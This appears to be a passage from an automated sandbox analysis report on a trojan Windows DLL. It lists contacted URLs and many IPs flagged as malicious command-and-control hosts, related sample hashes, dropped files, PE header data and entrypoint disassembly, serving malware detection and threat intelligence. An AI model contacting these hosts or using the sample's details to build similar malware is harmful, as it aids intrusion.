0000001B.00000003.771633828.0000017056580000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://disneyplus.com/legal.svchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://crl.ver)svchost.exe, 0000001B.00000002.804530802.0000017055AEA000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		low
                          https://174.138.33.49:7080/Numregsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: malware
                          		unknown
                          https://www.tiktok.com/legal/report/feedbacksvchost.exe, 0000001B.00000003.781191744.000001705659E000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://schemas.xmlsoap.org/ws/2004/0svchost.exe, 00000012.00000002.886351225.0000018974CAB000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://174.138.33.49:7080/uregsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmptrue
                            • Avira URL Cloud: malware
                            		unknown
                            http://help.disneyplus.com.svchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://support.hotspotshield.com/svchost.exe, 0000001B.00000003.772609747.0000017056585000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.772596708.0000017056582000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771116472.00000170565B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771585831.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771543494.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771348384.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771440016.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771293341.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771489113.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771257487.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771315826.0000017056A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771513285.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771024338.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771224165.00000170565BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771633828.0000017056580000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://174.138.33.49/regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown

                              World Map of Contacted IPs

                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs

                              Public IPs

                              IPDomainCountryFlagASNASN NameMalicious
                              157.230.99.206
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue
                              157.245.111.0
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue
                              196.44.98.190
                              		unknownGhana
                              		327814EcobandGHtrue
                              202.29.239.162
                              		unknownThailand
                              		4621UNINET-AS-APUNINET-THtrue
                              174.138.33.49
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue
                              43.129.209.178
                              		unknownJapan4249LILLY-ASUStrue
                              103.41.204.169
                              		unknownIndonesia
                              		58397INFINYS-AS-IDPTInfinysSystemIndonesiaIDtrue
                              36.67.23.59
                              		unknownIndonesia
                              		17974TELKOMNET-AS2-APPTTelekomunikasiIndonesiaIDtrue
                              5.253.30.17
                              		unknownLatvia
                              		18978ENZUINC-UStrue
                              85.214.67.203
                              		unknownGermany
                              		6724STRATOSTRATOAGDEtrue
                              103.56.149.105
                              		unknownIndonesia
                              		55688BEON-AS-IDPTBeonIntermediaIDtrue
                              85.25.120.45
                              		unknownGermany
                              		8972GD-EMEA-DC-SXB1DEtrue
                              83.229.80.93
                              		unknownUnited Kingdom
                              		8513SKYVISIONGBtrue
                              198.199.70.22
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue
                              93.104.209.107
                              		unknownGermany
                              		8767MNET-ASGermanyDEtrue
                              188.225.32.231
                              		unknownRussian Federation
                              		9123TIMEWEB-ASRUtrue
                              175.126.176.79
                              		unknownKorea Republic of
                              		9523MOKWON-AS-KRMokwonUniversityKRtrue
                              128.199.242.164
                              		unknownUnited Kingdom
                              		14061DIGITALOCEAN-ASNUStrue
                              165.232.185.110
                              		unknownUnited States
                              		22255ALLEGHENYHEALTHNETWORKUStrue
                              103.126.216.86
                              		unknownBangladesh
                              		138482SKYVIEW-AS-APSKYVIEWONLINELTDBDtrue
                              104.248.225.227
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue
                              178.238.225.252
                              		unknownGermany
                              		51167CONTABODEtrue
                              128.199.217.206
                              		unknownUnited Kingdom
                              		14061DIGITALOCEAN-ASNUStrue
                              190.145.8.4
                              		unknownColombia
                              		14080TelmexColombiaSACOtrue
                              46.101.98.60
                              		unknownNetherlands
                              		14061DIGITALOCEAN-ASNUStrue
                              103.224.241.74
                              		unknownIndia
                              		133296WEBWERKS-AS-INWebWerksIndiaPvtLtdINtrue
                              103.71.99.57
                              		unknownIndia
                              		135682AWDHPL-AS-INAdvikaWebDevelopmentsHostingPvtLtdINtrue
                              210.57.209.142
                              		unknownIndonesia
                              		38142UNAIR-AS-IDUniversitasAirlanggaIDtrue
                              190.107.19.179
                              		unknownColombia
                              		27951MediaCommercePartnersSACOtrue
                              87.106.97.83
                              		unknownGermany
                              		8560ONEANDONE-ASBrauerstrasse48DEtrue
                              103.254.12.236
                              		unknownViet Nam
                              		56151DIGISTAR-VNDigiStarCompanyLimitedVNtrue
                              103.85.95.4
                              		unknownIndonesia
                              		136077IDNIC-UNSRAT-AS-IDUniversitasIslamNegeriMataramIDtrue
                              54.37.228.122
                              		unknownFrance
                              		16276OVHFRtrue
                              202.134.4.210
                              		unknownIndonesia
                              		7713TELKOMNET-AS-APPTTelekomunikasiIndonesiaIDtrue
                              88.217.172.165
                              		unknownGermany
                              		8767MNET-ASGermanyDEtrue
                              165.22.254.236
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue
                              118.98.72.86
                              		unknownIndonesia
                              		7713TELKOMNET-AS-APPTTelekomunikasiIndonesiaIDtrue
                              139.59.80.108
                              		unknownSingapore
                              		14061DIGITALOCEAN-ASNUStrue
                              104.244.79.94
                              		unknownUnited States
                              		53667PONYNETUStrue
                              178.62.112.199
                              		unknownEuropean Union
                              		14061DIGITALOCEAN-ASNUStrue
                              37.44.244.177
                              		unknownGermany
                              		47583AS-HOSTINGERLTtrue
                              62.171.178.147
                              		unknownUnited Kingdom
                              		51167CONTABODEtrue
                              64.227.55.231
                              		unknownUnited States
                              		14061DIGITALOCEAN-ASNUStrue

                              Private

                              IP
                              127.0.0.1

                              General Information

                              Joe Sandbox Version:35.0.0 Citrine
                              Analysis ID:666431
                              Start date and time: 16/07/202219:09:112022-07-16 19:09:11 +02:00
                              Joe Sandbox Product:CloudBasic
                              Overall analysis duration:0h 10m 28s
                              Hypervisor based Inspection enabled:false
                              Report type:full
                              Sample file name:PYCkUgesWB.com_15e2f984de986ecb59e38a1c3a4a2300 (renamed file extension from com_15e2f984de986ecb59e38a1c3a4a2300 to dll)
                              Cookbook file name:default.jbs
                              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                              Number of analysed new started processes analysed:29
                              Number of new started drivers analysed:0
                              Number of existing processes analysed:0
                              Number of existing drivers analysed:0
                              Number of injected processes analysed:0
                              Technologies:
                              • HCA enabled
                              • EGA enabled
                              • HDC enabled
                              • AMSI enabled
                              Analysis Mode:default
                              Analysis stop reason:Timeout
                              Detection:MAL
                              Classification:mal88.troj.evad.winDLL@24/4@0/44
                              EGA Information:
                              • Successful, ratio: 100%
                              HDC Information:
                              • Successful, ratio: 45.4% (good quality ratio 40.8%)
                              • Quality average: 78.1%
                              • Quality standard deviation: 33.1%
                              HCA Information:
                              • Successful, ratio: 99%
                              • Number of executed functions: 35
                              • Number of non-executed functions: 182
                              Cookbook Comments:
                              • Adjust boot time
                              • Enable AMSI
                              • Override analysis time to 240s for rundll32

                              Warnings

                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
                              • Excluded IPs from analysis (whitelisted): 23.211.6.115, 67.26.75.254, 8.248.145.254, 8.253.207.120, 8.248.135.254, 8.253.207.121, 8.248.133.254, 67.26.81.254, 67.26.73.254, 8.248.149.254, 67.26.139.254, 23.211.4.86, 80.67.82.235, 80.67.82.211, 20.223.24.244
                              • Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, wu-bg-shim.trafficmanager.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                              • Not all processes where analyzed, report is missing behavior information
                              • Report size exceeded maximum capacity and may have missing behavior information.
                              • Report size getting too big, too many NtOpenKeyEx calls found.
                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                              • Report size getting too big, too many NtQueryValueKey calls found.

                              Simulations

                              Behavior and APIs

                              TimeTypeDescription
                              19:12:06API Interceptor10x Sleep call for process: svchost.exe modified

                              Joe Sandbox View / Context

                              IPs

                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                              157.230.99.206nz032vqLOi.dllGet hashmaliciousBrowse
                                nz032vqLOi.dllGet hashmaliciousBrowse
                                  azKC4bycQq.dllGet hashmaliciousBrowse
                                    HUrHMu39FU.dllGet hashmaliciousBrowse
                                      HUrHMu39FU.dllGet hashmaliciousBrowse
                                        5Fa665mRHe.dllGet hashmaliciousBrowse
                                          5Fa665mRHe.dllGet hashmaliciousBrowse
                                            8QfaZFMbEb.dllGet hashmaliciousBrowse
                                              P22l0y2mfd.dllGet hashmaliciousBrowse
                                                xWvN5HkNDU.dllGet hashmaliciousBrowse
                                                  P22l0y2mfd.dllGet hashmaliciousBrowse
                                                    ik1z1nXXuU.dllGet hashmaliciousBrowse
                                                      td722u34As.dllGet hashmaliciousBrowse
                                                        MZ5g6cEEr6.dllGet hashmaliciousBrowse
                                                          2vMjDd8z34.dllGet hashmaliciousBrowse
                                                            R78g1mgKDg.dllGet hashmaliciousBrowse
                                                              MZ5g6cEEr6.dllGet hashmaliciousBrowse
                                                                JdRnXj2wcy.dllGet hashmaliciousBrowse
                                                                  R78g1mgKDg.dllGet hashmaliciousBrowse
                                                                    qwXRj48V2H.dllGet hashmaliciousBrowse

                                                                      Domains

                                                                      ⊘No context

                                                                      ASNs

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      DIGITALOCEAN-ASNUS2BQPIiVlqe.dllGet hashmaliciousBrowse
                                                                      • 174.138.33.49
                                                                      nz032vqLOi.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      nz032vqLOi.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      j6gMU3agR1.dllGet hashmaliciousBrowse
                                                                      • 46.101.137.169
                                                                      azKC4bycQq.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      azKC4bycQq.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      http://179.43.144.210Get hashmaliciousBrowse
                                                                      • 104.236.66.100
                                                                      ZXH6P5yG3A.exeGet hashmaliciousBrowse
                                                                      • 161.35.49.148
                                                                      iN9u7DdJv4.exeGet hashmaliciousBrowse
                                                                      • 64.225.91.73
                                                                      xd.x86Get hashmaliciousBrowse
                                                                      • 167.71.77.54
                                                                      bLJR1tSMfo.dllGet hashmaliciousBrowse
                                                                      • 174.138.33.49
                                                                      bLJR1tSMfo.dllGet hashmaliciousBrowse
                                                                      • 178.62.112.199
                                                                      allegato-5.xlsGet hashmaliciousBrowse
                                                                      • 178.62.112.199
                                                                      HUrHMu39FU.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      HUrHMu39FU.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      5Fa665mRHe.dllGet hashmaliciousBrowse
                                                                      • 178.62.112.199
                                                                      5Fa665mRHe.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      8QfaZFMbEb.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      P22l0y2mfd.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231
                                                                      ik1z1nXXuU.dllGet hashmaliciousBrowse
                                                                      • 64.227.55.231

                                                                      JA3 Fingerprints

                                                                      ⊘No context

                                                                      Dropped Files

                                                                      ⊘No context

                                                                      Created / dropped Files

                                                                      C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                      Download File
                                                                      Process:C:\Windows\System32\svchost.exe
                                                                      File Type:Extensible storage engine DataBase, version 0x620, checksum 0x4dfe4fb8, page size 16384, DirtyShutdown, Windows version 10.0
                                                                      Category:dropped
                                                                      Size (bytes):786432
                                                                      Entropy (8bit):0.2505933374184895
                                                                      Encrypted:false
                                                                      SSDEEP:384:k+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:bSB2nSB2RSjlK/+mLesOj1J2
                                                                      MD5:EB961E7113E3D08479E5A7A470B28163
                                                                      SHA1:97161FC542A63DB96B7287C22D11D1E19C706A19
                                                                      SHA-256:2E4145142F92749B4EC51BF620D2BE8883371813557B449FE39A9BFE1DD20024
                                                                      SHA-512:F2CE12E33979D5093DFAA3ABBD0318D5BD2E7A88DE76CEEB5563375B8302A215DE86C34E923BDC77F2A33A25D6409C4F09EB6788F8AA9C1E9560DBA0EA34B3FF
                                                                      Malicious:false
                                                                      Preview:M.O.... ................e.f.3...w........................&..........w.......zo.h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................1H.v.....zo.................gC.......zo.........................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                      Download File
                                                                      Process:C:\Windows\System32\regsvr32.exe
                                                                      File Type:Microsoft Cabinet archive data, 61712 bytes, 1 file
                                                                      Category:dropped
                                                                      Size (bytes):61712
                                                                      Entropy (8bit):7.995044632446497
                                                                      Encrypted:true
                                                                      SSDEEP:1536:gzjJiDImMsrjCtGLaexX/zL09mX/lZHIxs:gPJiDI/sr0Hexv/0S/zx
                                                                      MD5:589C442FC7A0C70DCA927115A700D41E
                                                                      SHA1:66A07DACE3AFBFD1AA07A47E6875BEAB62C4BB31
                                                                      SHA-256:2E5CB72E9EB43BAAFB6C6BFCC573AAC92F49A8064C483F9D378A9E8E781A526A
                                                                      SHA-512:1B5FA79E52BE495C42CF49618441FB7012E28C02E7A08A91DA9213DB3AB810F0E83485BC1DD5F625A47D0BA7CFCDD5EA50ACC9A8DCEBB39F048C40F01E94155B
                                                                      Malicious:false
                                                                      Preview:MSCF............,...................I........y.........Tf. .authroot.stl..W.`.4..CK..8U[...q.yL'sf!d.D..."2.2g.<dVI.!.....$).\...!2s..(...[.T7..{}...g....g.....w.km$.&|..qe.n.8+..&...O...`...+..C......`h!0.I.(C..1Q*L.p..".s..B.....H......fUP@..5...(X#.t.2lX.>.y|D.0Z0...M....I(.#.-... ...(.J....2..`.hO..{l+.bd7y.j..u.....3....<......3....s.T...._.'...%{v...s..............KgV.0..X=.A.9w9.Ea.x..........\.=.e.C2......9.......`.o... .......@pm.. a.....-M.....{...s.mW.....;.+...A......0.g..L9#.v.&O>./xSH.S.....GH.6.j...`2.(0g..... Lt........h4.iQ?....[.K.....uI......}.....d....M.....6q.Q~.0.\.'U^)`..u.....-........d..7...2.-.2+3.....A./.%Q...k...Q.,...H.B.%..O..x..5\...Hk.......B.';"Ym.'....X.l.E.6..a8.6..nq..x.r4..1t.....,..u.O..O.L...Uf...X.u.F .(.(.....".q...n{%U.-u....l6!....Z....~o0.}Q'.s.i....7...>4x...A.h.Mk].O.z.].6...53...b^;..>e..x.'1..\p.O.k..B1w..|..K.R.....2.e0..X.^...I...w..!.v5B]x..z.6.G^uF..].b.W...'..I.;..p..@L{.E..@W..3.&...

                                                                      C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                      Download File
                                                                      Process:C:\Windows\System32\regsvr32.exe
                                                                      File Type:data
                                                                      Category:modified
                                                                      Size (bytes):326
                                                                      Entropy (8bit):3.1358915940078615
                                                                      Encrypted:false
                                                                      SSDEEP:6:kK79ku+N+SkQlPlEGYRMY9z+4KlDA3RUeWlEZ21:zGuNkPlE99SNxAhUeE1
                                                                      MD5:CB006CC6314BF3DEB2C82425738A567F
                                                                      SHA1:91210AC0A73CDB5A354D2F1346B707377751F76E
                                                                      SHA-256:5255C7343D802A3FE510DCC6B5E9DCA3DC3FB2BB8F891695F57354FA1812E6EA
                                                                      SHA-512:EC31D35FB61206C20020B20AFAD8EAFFE8AFA30B8751F8585F9EF66C4276E6DF3A9D078C060E2B2C670C18944F8002193F63618B1AA1D07E58283FE1ED70EC82
                                                                      Malicious:false
                                                                      Preview:p...... ...............(....................................................... .........L.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.9.f.4.c.9.6.9.8.b.d.8.1.:.0."...

                                                                      C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                      Download File
                                                                      Process:C:\Windows\System32\svchost.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):55
                                                                      Entropy (8bit):4.306461250274409
                                                                      Encrypted:false
                                                                      SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                      MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                      SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                      SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                      SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                      Malicious:false
                                                                      Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                      Static File Info

                                                                      General

                                                                      File type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                      Entropy (8bit):7.4523768271907125
                                                                      TrID:
                                                                      • Win64 Dynamic Link Library (generic) (102004/3) 86.43%
                                                                      • Win64 Executable (generic) (12005/4) 10.17%
                                                                      • Generic Win/DOS Executable (2004/3) 1.70%
                                                                      • DOS Executable Generic (2002/1) 1.70%
                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
                                                                      File name:PYCkUgesWB.dll
                                                                      File size:284672
                                                                      MD5:15e2f984de986ecb59e38a1c3a4a2300
                                                                      SHA1:795383a71c9030a2c52624795a1e539bfedbf84c
                                                                      SHA256:1e9a7692e74e98ac5d21a4d3bfb3696d69d8306e4e42d53bcb4604b3dff420bb
                                                                      SHA512:ae2e7f175844ac5d106e36474f3c2f86d27948b2c967ab01a10e8b8dc836a2349bc1dfc26119cbc4f41a96526dca5a79f315d7d7971683fb7db4fba41edef172
                                                                      SSDEEP:6144:H8aVTnVgcpYT4Xf+WXv8cMkjdF4r6UrjCxGNh3XlwfjR96:H8wTV7UwHXvJMmdCrvrjZA3
                                                                      TLSH:A954D001A99DD0A5C57E5939A4B78F03D3A1BC10977A93EF9B3109349A333E56D3D3A0
                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........N...N...N...i...F...i...l...i.......8R..C...N...9...i...M...i...O...i...O...i...O...RichN...........PE..d...c..b.........."

                                                                      File Icon

                                                                      Icon Hash:66f2d2d2d2d2c4ca

                                                                      Static PE Info

                                                                      General

                                                                      Entrypoint:0x100018a0
                                                                      Entrypoint Section:.text
                                                                      Digitally signed:false
                                                                      Imagebase:0x10000000
                                                                      Subsystem:windows gui
                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
                                                                      DLL Characteristics:
                                                                      Time Stamp:0x62C6D463 [Thu Jul 7 12:41:07 2022 UTC]
                                                                      TLS Callbacks:
                                                                      CLR (.Net) Version:
                                                                      OS Version Major:4
                                                                      OS Version Minor:0
                                                                      File Version Major:4
                                                                      File Version Minor:0
                                                                      Subsystem Version Major:4
                                                                      Subsystem Version Minor:0
                                                                      Import Hash:63eff8a065c6d44859c3b54eb482a5d6

                                                                      Entrypoint Preview

                                                                      Instruction
                                                                      dec eax
                                                                      sub esp, 28h
                                                                      cmp edx, 01h
                                                                      dec eax
                                                                      mov dword ptr [esp+38h], ebx
                                                                      dec eax
                                                                      mov dword ptr [esp+40h], esi
                                                                      dec eax
                                                                      mov dword ptr [esp+48h], edi
                                                                      mov ebx, edx
                                                                      dec eax
                                                                      mov esi, ecx
                                                                      dec ecx
                                                                      mov edi, eax
                                                                      jne 00007FDA70D2C397h
                                                                      call 00007FDA70D2ED70h
                                                                      dec esp
                                                                      mov eax, edi
                                                                      mov edx, ebx
                                                                      dec eax
                                                                      mov ecx, esi
                                                                      dec eax
                                                                      mov edi, dword ptr [esp+48h]
                                                                      dec eax
                                                                      mov esi, dword ptr [esp+40h]
                                                                      dec eax
                                                                      mov ebx, dword ptr [esp+38h]
                                                                      dec eax
                                                                      add esp, 28h
                                                                      jmp 00007FDA70D2C210h
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      dec eax
                                                                      mov dword ptr [esp+08h], ecx
                                                                      dec eax
                                                                      sub esp, 00000088h
                                                                      dec eax
                                                                      lea ecx, dword ptr [0001593Dh]
                                                                      call dword ptr [0000F86Fh]
                                                                      dec eax
                                                                      mov eax, dword ptr [00015A28h]
                                                                      dec eax
                                                                      mov dword ptr [esp+58h], eax
                                                                      inc ebp
                                                                      xor eax, eax
                                                                      dec eax
                                                                      lea edx, dword ptr [esp+60h]
                                                                      dec eax
                                                                      mov ecx, dword ptr [esp+58h]
                                                                      call 00007FDA70D32B90h
                                                                      dec eax
                                                                      mov dword ptr [esp+50h], eax
                                                                      dec eax
                                                                      cmp dword ptr [esp+50h], 00000000h
                                                                      je 00007FDA70D2C3D3h
                                                                      dec eax
                                                                      mov dword ptr [esp+38h], 00000000h
                                                                      dec eax
                                                                      lea eax, dword ptr [esp+48h]
                                                                      dec eax
                                                                      mov dword ptr [esp+30h], eax
                                                                      dec eax
                                                                      lea eax, dword ptr [esp+40h]
                                                                      dec eax
                                                                      mov dword ptr [esp+28h], eax
                                                                      dec eax
                                                                      lea eax, dword ptr [000158E8h]
                                                                      dec eax
                                                                      mov dword ptr [esp+20h], eax
                                                                      dec esp
                                                                      mov ecx, dword ptr [esp+50h]
                                                                      dec esp
                                                                      mov eax, dword ptr [esp+58h]

                                                                      Rich Headers

                                                                      Programming Language:
                                                                      • [ASM] VS2005 build 50727
                                                                      • [C++] VS2005 build 50727
                                                                      • [ C ] VS2005 build 50727
                                                                      • [EXP] VS2005 build 50727
                                                                      • [RES] VS2005 build 50727
                                                                      • [LNK] VS2005 build 50727

                                                                      Data Directories

                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x14a100x13a4.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x13ec40x8c.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x1a0000x2e480.rsrc
                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x190000x99c.pdata
                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x490000x1e4.reloc
                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x110000x368.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                      Sections

                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                      .text0x10000xfd4a0xfe00False0.4856206938976378data5.920035349065038IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .rdata0x110000x4db40x4e00False0.47571113782051283data5.5301844227687305IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .data0x160000x28780x1200False0.2055121527777778data2.203174750959508IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                      .pdata0x190000x99c0xa00False0.488671875data4.691904567122826IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .rsrc0x1a0000x2e4800x2e600False0.8459452914420486data7.832588443776017IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .reloc0x490000x5b00x600False0.23372395833333334data2.3778281936909145IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                      Resources

                                                                      NameRVASizeTypeLanguageCountry
                                                                      RT_ICON0x1a3400x128GLS_BINARY_LSB_FIRSTEnglishUnited States
                                                                      RT_ICON0x1a4680x2e8dataEnglishUnited States
                                                                      RT_MENU0x1a7500x4adataEnglishUnited States
                                                                      RT_DIALOG0x1a79c0xacdataEnglishUnited States
                                                                      RT_DIALOG0x1a8480xfedataEnglishUnited States
                                                                      RT_DIALOG0x1a9480x12adataEnglishUnited States
                                                                      RT_STRING0x1aa740x10cdataEnglishUnited States
                                                                      RT_STRING0x1ab800x12adataEnglishUnited States
                                                                      RT_STRING0x1acac0x38dataEnglishUnited States
                                                                      RT_ACCELERATOR0x1ace40x10dataEnglishUnited States
                                                                      RT_GROUP_ICON0x1acf40x22dataEnglishUnited States
                                                                      RT_HTML0x1ad180x2d600dataEnglishUnited States
                                                                      RT_MANIFEST0x483180x168ASCII text, with CRLF line terminatorsEnglishUnited States

                                                                      Imports

                                                                      DLLImport
